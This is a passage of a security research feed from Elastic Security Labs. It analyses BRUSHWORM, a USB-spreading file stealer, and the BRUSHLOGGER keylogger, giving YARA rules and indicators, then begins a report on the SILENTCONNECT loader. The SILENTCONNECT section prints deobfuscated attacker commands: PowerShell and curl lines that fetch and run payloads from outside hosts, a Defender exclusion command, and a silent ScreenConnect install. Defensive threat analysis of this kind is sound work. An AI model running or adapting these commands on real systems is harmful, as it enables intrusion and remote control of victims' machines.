<p>The backdoor's configuration is stored as a JSON structure with field values encrypted using AES-CBC. The AES key is hardcoded in the binary, while the initialization vector (IV) is prepended to each encrypted field's data blob.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image10.png" alt="AES-CBC decryption of configuration fields with a hardcoded key and an embedded IV" title="AES-CBC decryption of configuration fields with a hardcoded key and an embedded IV" /></p>
<p>The decrypted configuration follows this structure:</p>
<pre><code class="language-json">{
  &quot;internetCheckDomain&quot;: &quot;&lt;...&gt;&quot;,
  &quot;downloadDomain&quot;: &quot;&lt;...&gt;&quot;,
  &quot;retryCount&quot;: 0
}
</code></pre>
<p>This configuration is not referenced anywhere in the malware's operational logic. The C2 server address that the backdoor actually communicates with is a separate C++ global string variable stored in cleartext(<code>resources.dawnnewsisl[.]com/updtdll</code>), which is passed directly to the function responsible for C2 communication and payload downloads.<br />
<img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image11.png" alt="Download_payload function call" title="Download_payload function call" /></p>
<p>The decrypted configuration fields (<code>internetCheckDomain</code>, <code>downloadDomain</code>, <code>retryCount</code>) go entirely unused in this build. This configuration is likely intended for a future version, a separate payload component, or was simply disabled in the deployed build, reinforcing the impression of a codebase under active, disorganized development.</p>
<h3>Persistence</h3>
<p>The malware establishes persistence by creating a Windows scheduled task named <code>MSGraphics</code> through the COM Task Scheduler interface. The task is configured to execute the malware binary each time a user logs in, ensuring the backdoor survives system reboots.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image1.png" alt="Persistence was established through a COM-based scheduled task named MSGraphics" title="Persistence was established through a COM-based scheduled task named MSGraphics" /></p>
<h3>Payload download and execution</h3>
<p>The backdoor uses the WinHTTP library to issue a <code>GET</code> request to the C2 server at the URI <code>/updtdll</code> to download a DLL payload. The downloaded binary is written to <code>C:\Users\Public\Libraries\</code> as <code>Recorder.dll</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image3.png" alt="WinHTTP GET request to /updtdll to fetch the DLL payload" title="WinHTTP GET request to /updtdll to fetch the DLL payload" /></p>
<p>We were unable to recover the downloaded payload during our investigation, but the naming convention and execution method suggest it is a modular plugin — likely providing additional post-exploitation capabilities such as screen recording or data exfiltration.</p>
<p>The downloaded DLL is executed by creating a second scheduled task named MSRecorder that uses <code>rundll32.exe</code> to load and run it. This mirrors the same COM-based scheduled task creation method used for persistence.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image13.png" alt="" /></p>
<p>The C2 server's SSL certificate is issued by Let's Encrypt.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image6.png" alt="Let's Encrypt SSL certificate used by the C2 server" title="Let's Encrypt SSL certificate used by the C2 server" /></p>
<h3>USB spreading and file theft</h3>
<p>Once <strong>BRUSHWORM</strong> detects that the host is already infected (by checking for the presence of the installation directory), its behavior diverges based on internet connectivity. The malware performs a connectivity check by attempting to reach <code>www.google.com</code>.</p>
<h4>Scenario 1 — Internet access available:</h4>
<p>The malware spawns two threads targeting external storage devices:</p>
<ol>
<li><strong>Removable drive infection:</strong> The backdoor copies itself to any connected removable storage devices using socially-engineered filenames designed to entice victims in a corporate financial environment:
<ul>
<li><code>Salary Slips.exe</code></li>
<li><code>Notes.exe</code></li>
<li><code>Documents.exe</code></li>
<li><code>Important.exe</code></li>
<li><code>Dont Delete.exe</code></li>
<li><code>Presentation.exe</code></li>
<li><code>Emails.exe</code></li>
<li><code>Attachments.exe</code></li>
</ul>
</li>
<li><strong>File theft from removable and optical drives:</strong> Both threads enumerate files on the connected media and exfiltrate to a folder any file matching a broad set of targeted extensions:</li>
</ol>
<table>
<thead>
<tr>
<th>Category</th>
<th>Extensions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Documents &amp; Word Processing</td>
<td><code>.doc</code>, <code>.docx</code>, <code>.dot</code>, <code>.dotx</code>, <code>.wps</code>, <code>.wpd</code>, <code>.wp</code>, <code>.rtf</code>, <code>.txt</code>, <code>.odt</code>, <code>.ott</code>, <code>.pages</code></td>
</tr>
<tr>
<td>Spreadsheets</td>
<td><code>.xls</code>, <code>.xlsx</code>, <code>.xlsm</code>, <code>.xlt</code>, <code>.xltx</code>, <code>.xlw</code>, <code>.ods</code>, <code>.ots</code>, <code>.csv</code>, <code>.tsv</code>, <code>.dbf</code>, <code>.wk1</code>, <code>.wk3</code>, <code>.wk4</code>, <code>.123</code></td>
</tr>
<tr>
<td>Presentations</td>
<td><code>.ppt</code>, <code>.pptx</code>, <code>.pot</code>, <code>.potx</code>, <code>.pps</code>, <code>.ppsx</code>, <code>.odp</code>, <code>.otp</code>, <code>.key</code>, <code>.sxi</code></td>
</tr>
<tr>
<td>Portable &amp; Layout</td>
<td><code>.pdf</code>, <code>.xps</code>, <code>.epub</code>, <code>.mobi</code>, <code>.ps</code>, <code>.prn</code>, <code>.tex</code>, <code>.latex</code>, <code>.pub</code>, <code>.p65</code>, <code>.fm</code></td>
</tr>
<tr>
<td>Archives &amp; Disk Images</td>
<td><code>.zip</code>, <code>.rar</code>, <code>.7z</code>, <code>.tar</code>, <code>.gz</code>, <code>.bz2</code>, <code>.xz</code>, <code>.iso</code>, <code>.cab</code>, <code>.arj</code>, <code>.lzh</code>, <code>.lha</code>, <code>.tgz</code>, <code>.tbz</code>, <code>.txz</code></td>
</tr>
<tr>
<td>Email &amp; Notes</td>
<td><code>.pst</code>, <code>.ost</code>, <code>.msg</code>, <code>.eml</code>, <code>.emlx</code>, <code>.mbox</code>, <code>.mbx</code>, <code>.maildir</code>, <code>.one</code></td>
</tr>
<tr>
<td>Code &amp; Data</td>
<td><code>.py</code>, <code>.md</code>, <code>.xml</code>, <code>.json</code></td>
</tr>
</tbody>
</table>
<p>Stolen files are staged in the <code>C:\Users\Public\Systeminfo\</code> directory. The malware also maintains a tracking file (<code>hashconfig</code>) at <code>C:\Users\Public\AppData\Roaming\NuGet\</code> that records each exfiltrated file's path alongside its SHA-256 hash, likely to avoid re-exfiltrating the same files on subsequent runs.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image9.png" alt="Removable drive infection with lure filenames and file theft by extension" title="Removable drive infection with lure filenames and file theft by extension" /></p>
<h4>Scenario 2 — No internet access:</h4>
<p>If the internet connectivity check fails, the malware still infects removable drives with the same lure-named copies. However, in this scenario, it additionally copies stolen files and files from the user's profile directory (matching the same extension list) to the removable drives. This behavior serves as a data exfiltration bridge for <strong>environments with restricted or air-gapped network access</strong> — using USB drives to physically carry stolen data off the network.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image12.png" alt="Offline mode: stolen files copied to removable drives for physical exfiltration" title="Offline mode: stolen files copied to removable drives for physical exfiltration" /></p>
<h2>BRUSHLOGGER code analysis</h2>
<p>The second component is a 32-bit Windows DLL (<code>4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf</code>) designed for DLL side-loading. It masquerades as <code>libcurl.dll</code> by exporting seven standard <code>curl_easy_*</code> API functions, all of which are empty stubs pointing to a single <code>RET</code> instruction. The malicious functionality executes entirely from the <code>DllMain</code> entry point on <code>DLL_PROCESS_ATTACH</code>.</p>
<h3>Initialization</h3>
<p>At startup, the keylogger decodes a mutex name from a Base64-encoded string: “<code>Windows-Updates-KB852654856</code>”. The mutex name mimics a Windows Update knowledge base identifier. If <code>CreateMutexA</code> returns <code>ERROR_ALREADY_EXISTS</code>, the process terminates immediately to enforce single-instance execution.</p>
<p><strong>BRUSHLOGGER</strong> retrieves the current Windows username via <code>GetUserNameA</code>, computes its MD5 hash using the Windows CryptoAPI, and constructs the final log file path:</p>
<pre><code>C:\programdata\Photoes\&lt;username&gt;_&lt;MD5(username)&gt;.trn
</code></pre>
<p>The log file is initially created with <code>CreateFileA</code> using <code>CREATE_NEW</code>, then reopened with <code>FILE_APPEND_DATA</code> access for append-mode writing throughout the session.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image8.png" alt="Log file creation" title="Log file creation" /></p>
<h3>Hook installation and message pump</h3>
<p>After file setup, the keylogger installs a low-level keyboard hook:</p>
<pre><code class="language-c">SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_hook_callback, NULL, 0);
</code></pre>
<p>The <code>WH_KEYBOARD_LL</code> hook type captures keyboard input system-wide across all threads and processes. The hook procedure runs in the context of the installing thread, requiring a standard Windows message pump (<code>GetMessageA</code> / <code>TranslateMessage</code> / <code>DispatchMessageA</code>) to keep the hook alive.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image2.png" alt="Keyboard hook installation and message pump" title="Keyboard hook installation and message pump" /></p>
<h3>Keystroke capture logic</h3>
<p>The core capture logic resides in the hook callback, which processes every keyboard event in the system.</p>
<p>For each keystroke event, the callback:</p>
<ol>
<li>Retrieves the foreground window handle via <code>GetForegroundWindow</code></li>
<li>Allocates memory via <code>VirtualAlloc</code> for the window title</li>
<li>Captures the current timestamp via <code>GetLocalTime</code>, formatted as <code>DD-MM-YYYY HH:MM</code></li>
<li>Retrieves the window title bar text via <code>GetWindowTextA</code></li>
</ol>
<p>When the foreground window changes, a context marker is appended to the keystroke buffer:</p>
<pre><code>\n&lt;timestamp&gt; &lt;window title&gt;\n
</code></pre>
<p><strong>Keystroke encoding:</strong> The callback processes <code>WM_KEYDOWN</code>, <code>WM_SYSKEYDOWN</code>, <code>WM_KEYUP</code>, and <code>WM_SYSKEYUP</code> messages. Each keystroke is logged as a two-digit hexadecimal virtual key.</p>
<h3>XOR-encrypted log files</h3>
<p>The flush routine copies the keystroke buffer to a local stack buffer, XOR-encrypts each byte with a hardcoded single-byte key <code>0x43</code>, and writes the result to the log file via <code>WriteFile</code>. After a successful write, the global buffer is cleared.</p>
<p>The XOR key <code>0x43</code> is trivially reversible — the encryption serves only as basic obfuscation rather than meaningful cryptographic protection.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image5.png" alt="XOR decrypting a keylogger file with the byte 0x43" title="XOR decrypting a keylogger file with the byte 0x43" /></p>
<h2>Conclusion</h2>
<p>Despite their low sophistication and multiple implementation flaws, these two binaries deliver a functional collection platform that combines modular payload loading, USB worm propagation, broad file theft with air-gap bridging, and persistent keystroke capture via DLL side-loading. The iterative testing versions and active C2 infrastructure suggest an actor still refining their toolset. Elastic Security Labs will continue monitoring this activity cluster.</p>
<h2>BRUSHLOGGER, BRUSHWORM, and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Data Staged: Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1091/">Replication Through Removable Media</a></li>
<li><a href="https://attack.mitre.org/techniques/T1119/">Automated Collection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1025/">Data from Removable Media</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010/">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
</ul>
<h2>Detecting BRUSHLOGGER and BRUSHWORM</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BRUSHWORM and BRUSHLOGGER:</p>
<pre><code>rule Windows_Trojan_BrushLogger_304ee146 {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BrushLogger&quot;
        threat_name = &quot;Windows.Trojan.BrushLogger&quot;
        reference_sample = &quot;4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf&quot;

    strings:
        $a = &quot;%02d-%02d-%d %02d:%02d &quot; fullword
        $b = { 81 ?? ?? A1 00 00 00 74 09 81 ?? ?? A0 00 00 00 75 09 6A 00 6A 10 E8 }
    condition:
        all of them
}

rule Windows_Trojan_BrushWorm_7c2098ef {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BrushWorm&quot;
        threat_name = &quot;Windows.Trojan.BrushWorm&quot;
        reference_sample = &quot;89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7&quot;

    strings:
        $a = &quot;internetCheckDomain&quot; wide fullword
        $b = { B8 00 00 00 40 33 C9 0F A2 48 8D ?? ?? ?? 89 07 89 5F 04 89 4F 08 89 57 0C 45 33 C0 }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7</code></td>
<td align="left">SHA-256</td>
<td align="left">paint.exe</td>
<td align="left">BRUSHWORM</td>
</tr>
<tr>
<td align="left"><code>4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf</code></td>
<td align="left">SHA-256</td>
<td align="left">libcurl.dll</td>
<td align="left">BRUSHLOGGER</td>
</tr>
<tr>
<td align="left"><code>resources.dawnnewsisl[.]com/updtdll</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">C2 server</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/brushworm-targets-financial-services.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect]]></title>
            <link>https://www.elastic.co/jp/security-labs/silentconnect-delivers-screenconnect</link>
            <guid>silentconnect-delivers-screenconnect</guid>
            <pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[SILENTCONNECT is a multi-stage loader that leverages VBScript, in-memory PowerShell execution, and PEB masquerading to silently deploy the ScreenConnect RMM tool.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs is observing malicious campaigns delivering a multi-stage infection involving a previously undocumented loader. The infection begins when users are diverted to a Cloudflare Turnstile CAPTCHA page under the guise of a digital invitation. After the link is clicked, a VBScript file is downloaded to the machine. Upon execution, the script retrieves C# source code, which is then compiled and executed in memory using PowerShell. The final payload observed in these campaigns is ScreenConnect, a remote monitoring and management (RMM) tool used to control victim machines.</p>
<p>This campaign highlights a common theme: attackers abusing living-off-the-land binaries (<a href="https://lolbas-project.github.io/">LOLBins</a>) to facilitate execution, as well as using trusted hosting providers such as Google Drive and Cloudflare. While the loader is small and straightforward, it appears to be quite effective and has remained under the radar since March 2025.</p>
<h2>Key takeaways</h2>
<ul>
<li>SILENTCONNECT is a newly discovered loader actively being used in-the-wild</li>
<li>This loader silently installs ConnectWise ScreenConnect, enabling hands-on keyboard access to victim machines</li>
<li>Campaigns distributing SILENTCONNECT use hosting infrastructure from Cloudflare and Google Drive</li>
<li>SILENTCONNECT uses NT API calls, PEB masquerading and includes Windows Defender exclusion and User Account Control (UAC) bypass</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image13.png" alt="SILENTCONNECT attack diagram" title="SILENTCONNECT attack diagram" /></p>
<h2>SILENTCONNECT infection chain</h2>
<p>In the first week of March, our team observed a living off-the-land style infection generating multiple behavioral alerts over a short period.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image12.png" alt="Elastic Defend alerts" title="Elastic Defend alerts" /></p>
<p>The initial VBScript download triggered our <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_windows_script_downloaded_from_the_internet.toml">Suspicious Windows Script Downloaded from the Internet rule</a>, which let us pivot to the source of the infection using the associated <code>file.origin_url</code> and <code>file.origin_referrer_url</code> fields.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image10.png" alt="File origin fields" title="File origin fields" /></p>
<p>By navigating to the original landing page, we observed a Cloudflare Turnstile CAPTCHA page. After clicking the human verification checkbox, a VBScript file (<code>E-INVITE.vbs</code>) is downloaded to the machine.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image19.png" alt="Cloudflare CAPTCHA page" title="Cloudflare CAPTCHA page" /></p>
<p>Below is the source code of the landing page, we can see that the VBScript file (<code>E-INVITE.vbs</code>) is hosted on Cloudflare’s object storage service <a href="https://developers.cloudflare.com/r2/"><code>r2.dev</code></a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image8.png" alt="Landing page source code" title="Landing page source code" /></p>
<p>Below are other VBScript filenames observed in the last month related to these campaigns:</p>
<ul>
<li><code>Alaska Airlines 2026 Fleet &amp; Route Expansion Summary.vbs</code></li>
<li><code>CODE7_ZOOMCALANDER_INSTALLER_4740.vbs</code></li>
<li><code>2025Trans.vbs</code></li>
<li><code>Proposal-03-2026.vbs</code></li>
<li><code>2025Trans.vbs</code></li>
<li><code>updatv35.vbs</code></li>
</ul>
<p>The VBScripts are minimally obfuscated, using a children’s story as a decoy, and employ the <code>Replace()</code> and <code>Chr()</code> functions to hide the next stage.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image17.png" alt="Obfuscated VBScript" title="Obfuscated VBScript" /></p>
<p>This script de-obfuscates to the following command-line output:</p>
<pre><code>&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; -ExecutionPolicy Bypass 
  -command &quot;&quot;New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&amp;export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()&quot;&quot;
</code></pre>
<p>This snippet uses PowerShell to invoke <code>curl.exe</code> to download a C# payload from Google Drive, which is then written to the disk with the file name (<code>C:\Windows\Temp\FileR.txt</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image4.png" alt="cURL download via PowerShell" title="cURL download via PowerShell" /></p>
<p>The retrieved C# source code uses an obfuscation technique known as constant unfolding to conceal the byte array used for reflective in-memory execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image15.png" alt="C# source code downloaded from Google Drive" title="C# source code downloaded from Google Drive" /></p>
<p>Finally, the PowerShell command compiles the downloaded C# source (<code>FileR.txt</code>) at runtime using <code>Add-Type</code>, loads it into memory as a .NET assembly, and executes it via the <code>[HelloWorld]::SayHello()</code> method.</p>
<h2>SILENTCONNECT</h2>
<p>The following section covers the .NET loader family we call SILENTCONNECT. The sample is relatively small and straightforward, primarily designed to download a remote payload (ScreenConnect) and install it silently on the system.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image5.png" alt="SILENTCONNECT - DNspy namespace/class structure" title="SILENTCONNECT - DNspy namespace/class structure" /></p>
<p>After sleeping for 15 seconds, the malware allocates executable memory using the native Windows API function via <code>NtAllocateVirtualMemory</code>, assigning the region <code>PAGE_EXECUTE_READWRITE</code> permissions. SILENTCONNECT stores an embedded byte array containing the following shellcode:</p>
<pre><code>53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret
</code></pre>
<p>This small shellcode is moved into the recently allocated memory using <code>Marshal.Copy</code>. Next, the malware executes the shellcode in order to retrieve the address of the Process Environment Block (PEB). This approach allows the malware to access process structures directly while avoiding higher-level Windows APIs that are commonly monitored or hooked by security products.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image1.png" alt="Copying shellcode into memory via NtAllocateVirtualMemory" title="Copying shellcode into memory via NtAllocateVirtualMemory" /></p>
<p>SILENTCONNECT uses NTAPIs from <code>ntdll.dll</code> (Native APIs) and <code>ole32.dll</code> (COM APIs) during the delegate setup stage, enabling the malware to invoke functions such as <code>NtWriteVirtualMemory</code> or <code>CoGetObject</code> directly from<code>.NET</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image11.png" alt="Delegate setup for NTAPI’s" title="Delegate setup for NTAPI’s" /></p>
<p><strong>PEB Masquerading</strong></p>
<p>SILENTCONNECT implements a common malware evasion technique known as PEB masquerading. All Windows processes include a kernel-maintained structure known as the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">Process Environment Block</a> (PEB). This structure contains a linked list of loaded modules. Inside each linked list are entries that contain the module’s base address, DLL name, and full path. SILENTCONNECT goes through this structure, finding its own module, then overwrites its <code>BaseDLLName</code> and <code>FullDllName</code> to <code>winhlp32.exe</code> and <code>c:\windows\winhlp32.exe</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image20.png" alt="PEB masquerading feature" title="PEB masquerading feature" /></p>
<p>Many security tooling, including EDRs, use the PEB as a trusted source to detect suspicious activity. This technique can fool these products by using a benign name and path to hide itself.</p>
<p>Before launching the payload, the malware implements a UAC bypass using the function <code>LaunchElevatedCOMObjectUnsafe</code> with the moniker string reversed: <code>:wen!rotartsinimdA:noitavelE -&gt; Elevation:Administrator!new:</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image18.png" alt="COM setup using elevation moniker" title="COM setup using elevation moniker" /></p>
<p>If the malware is in an un-elevated state, it will attempt to use the UAC bypass technique via <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">CMSTPLUA COM interface</a>. The launch parameters are stored in a character array in reverse order as a simple obfuscation technique.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image14.png" alt="Launch parameters for ScreenConnect install" title="Launch parameters for ScreenConnect install" /></p>
<p>The first part of this obfuscated command adds a Microsoft Defender exclusion for <code>.exe</code> files.</p>
<pre><code>$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&amp;($ConcreteDataStructure) 
-ExclusionExtension $s -Force;
</code></pre>
<p>Below is the result of this command in Defender with the exception added:<br />
<img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image2.png" alt="SILENTCONNECT adding Microsoft Defender exception" title="SILENTCONNECT adding Microsoft Defender exception" /></p>
<p>After adding the exclusion, SILENTCONNECT creates a temporary directory (<code>C:\Temp</code>) and uses <code>curl.exe</code> to download the malicious ScreenConnect client installer into it. It then invokes <code>msiexec.exe</code> to silently install the RMM. Below is the second-half of the command-line:</p>
<pre><code>New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&amp;y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'&quot;
</code></pre>
<p>Following installation, the ScreenConnect client persists as a Windows service and beacons to the adversary-controlled ScreenConnect server at <code>bumptobabeco[.]top</code> over TCP port <code>8041</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image16.png" alt="ScreenConnect Client outbound network activity" title="ScreenConnect Client outbound network activity" /></p>
<h2>SILENTCONNECT campaign</h2>
<p>The primary initial access vector for these campaigns starts from phishing emails. We identified an email sample (<code>YOU ARE INVITED.eml</code>) uploaded to VirusTotal from a campaign last year.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image21.png" alt="Phishing email - Subject “YOU ARE INVITED”" title="Phishing email - Subject “YOU ARE INVITED”" /></p>
<p>The email is sent from <code>dan@checkfirst[.]net[.]au</code> and impersonates a project proposal invitation from a fake company. The email body invites the recipient to submit a proposal by clicking a link. This link redirects the victim to attacker-controlled infrastructure <code>imansport[.]ir/download_invitee.php</code>.</p>
<p>Notably, the threat actor reused the same URI path (<code>download_invitee.php</code>) across all compromised websites to deliver the payload. This consistent naming convention represents a poor operational security (OPSEC) practice, as it provided a reliable pivot point for tracking the campaign's infrastructure and identifying additional compromised hosts through VirusTotal searches such as <code>entity:url url:download_invitee.php</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image9.png" alt="Pivot example using same URI" title="Pivot example using same URI" /></p>
<p>We also uncovered various legitimate websites that were compromised and used the same infrastructure to facilitate other fraudulent schemes. For example, one URL (<code>solpru[.]com/process/docusign[.]html</code>) hosts a page that closely mimics the DocuSign electronic signature platform.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image3.png" alt="" /><br />
Fake <em>DocuSign portal</em></p>
<p>This chain completely jumps SILENTCONNECT by downloading a preconfigured ScreenConnect MSI that automatically connects to the actor’s server (<code>instance-lh1907-relay.screenconnect[.]com</code>).<br />
<img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image6.png" alt="ScreenConnect config from DocuSign scheme" title="ScreenConnect config from DocuSign scheme" /></p>
<p>Another page on a different domain impersonates a Microsoft Teams page and requests that the user download a file, which leads to abuse of the Syncro RMM Agent.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/image7.png" alt="Fake Microsoft Teams landing page" title="Fake Microsoft Teams landing page" /></p>
<h2>Conclusion</h2>
<p>Elastic Security Labs continues to see an uptick in RMM adoption by threat actors. As these tools are used by legitimate IT departments, they are typically overlooked and considered “trusted” in most corporate environments. Organizations must stay vigilant, auditing their environments for unauthorized RMM usage.</p>
<p>While this particular group went a step further by writing a custom loader, the majority of their infection chain leverages Windows binaries to evade detection and blend in with normal system activity. The abuse of trusted platforms such as Google Drive and Cloudflare for payload hosting and lure delivery further complicates detection, as network-based controls are unlikely to block traffic to these services outright. As threat actors continue to favor simplicity and stealth over sophistication, campaigns of this nature are likely to persist and evolve.</p>
<h3>SILENTCONNECT and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
